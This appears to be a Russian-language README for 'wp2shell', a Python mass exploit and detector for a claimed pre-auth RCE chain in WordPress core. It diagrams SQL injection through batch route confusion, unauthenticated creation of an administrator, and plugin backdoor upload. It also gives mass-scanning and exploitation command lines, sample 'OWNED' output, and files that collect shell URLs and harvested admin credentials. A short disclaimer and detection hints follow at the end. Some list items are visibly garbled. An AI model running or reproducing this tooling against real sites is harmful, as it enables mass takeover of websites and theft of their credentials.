Массовый эксплойт и детектор на Python для цепочки pre-auth RCE в ядре WordPress CVE-2026-63030 и CVE-2026-60137, объединяющей SQL-инъекцию с удалённым выполнением кода.
| Атрибут | Детали |
|---|---|
| CVE ID | CVE-2026-63030 (+ CVE-2026-60137) |
| Цепочка | wp2shell — pre-auth RCE |
| Критичность | 🔴 КРИТИЧЕСКАЯ (CVSS 9.8) |
| Цель | Ядро WordPress (без плагинов) |
| Уязвимы (RCE) | 6.9.0 – 6.9.4 и 7.0.0 – 7.0.1 |
| Уязвимы (только SQLi) | 6.8.0 – 6.8.5 |
| Исправлено | 6.8.6 / 6.9.5 / 7.0.2 (18/07/2026) |
| Требуется аутентификация | Нет |
Две связанные уязвимости в ядре WordPress:
author__not_in внутреннего класса WP_Query./wp-json/batch/v1 рассинхронизирует записи batch, из-за чего запрос «попадает» на следующий маршрут.Цепочка превращает SQLi в pre-auth RCE:
route confusion /wp-json/batch/v1 ─► SQLi в author__not_in
│ │
└──────────────┬─────────────────────┘
▼
UNION fake-post + oEmbed + changeset poisoning
▼
POST /wp/v2/users (roles: administrator) ← admin создан без auth
▼
login → upload plugin backdoor → RCE
Запасные варианты: прямой INTO OUTFILE (привилегия FILE) и слепое извлечение хеша + взлом.
python wp2shell.py exploit -l targets.txt --cmd whoami --authorized -k -c 10 --delay 2
python wp2shell.py remote -l targets.txt --authorized --active-probe -c 20 -f csv -o scan.csv
| Опция | Описание |
|---|---|
-l, --targets-file | По одной цели на строку (повторяемая, без ограничений) |
-u, --target | Одна цель |
--cmd | Команда для выполнения на цели |
--authorized | Обязательно (или WP2SHELL_AUTHORIZED=1) |
-c, --concurrency | Целей параллельно (1–32) |
--delay | SLEEP для timing/извлечения (2 = надёжно) |
--rate | Запросов/с на цель |
-k, --insecure | Игнорировать TLS |
--proxy | HTTP-прокси |
--wordlist / --password / --username | Запасные учётные данные |
--log / --owned / --results-csv | Выходные файлы |
[+] [14:22:31] https://target.com OWNED ✓1 ~0 ✗10
[~] [14:22:32] https://other.com ADMIN ✓1 ~1 ✗10
---- SUMMARY ----
[+] owned=1 [~] admin=1 [-] fail=10 [.] error=0
owned.txt — цели с RCE (URL шелла)admins.txt — созданные админы без RCE-синка (учётные данные)exploit_log.txt — детали по каждой целиresults.csv — сводка (exit_code: 0=owned, 4=admin, 2=fail, 3=error)whl_page через SQLi) + распространённые слаги├── wp2shell.py # exploit + detector
├── targets.txt # alvos (uma URL por linha)
├── owned.txt # RCE conseguido (auto-criado)
├── admins.txt # admins criados (auto-criado)
└── README.md
╔══════════════════════════════════════════════════════════════════╗
║ LEGAL DISCLAIMER ║
╠══════════════════════════════════════════════════════════════════╣
║ This tool is provided for EDUCATIONAL and AUTHORIZED ║
║ SECURITY TESTING purposes only. ║
║ Only use on systems you own or have explicit permission. ║
║ The author is NOT responsible for any misuse or damage. ║
╚══════════════════════════════════════════════════════════════════╝
/wp-json/batch/v1 и /?rest_route=/batch/v1wp-content/uploads/ и wp-content/plugins/ на наличие подозрительного PHP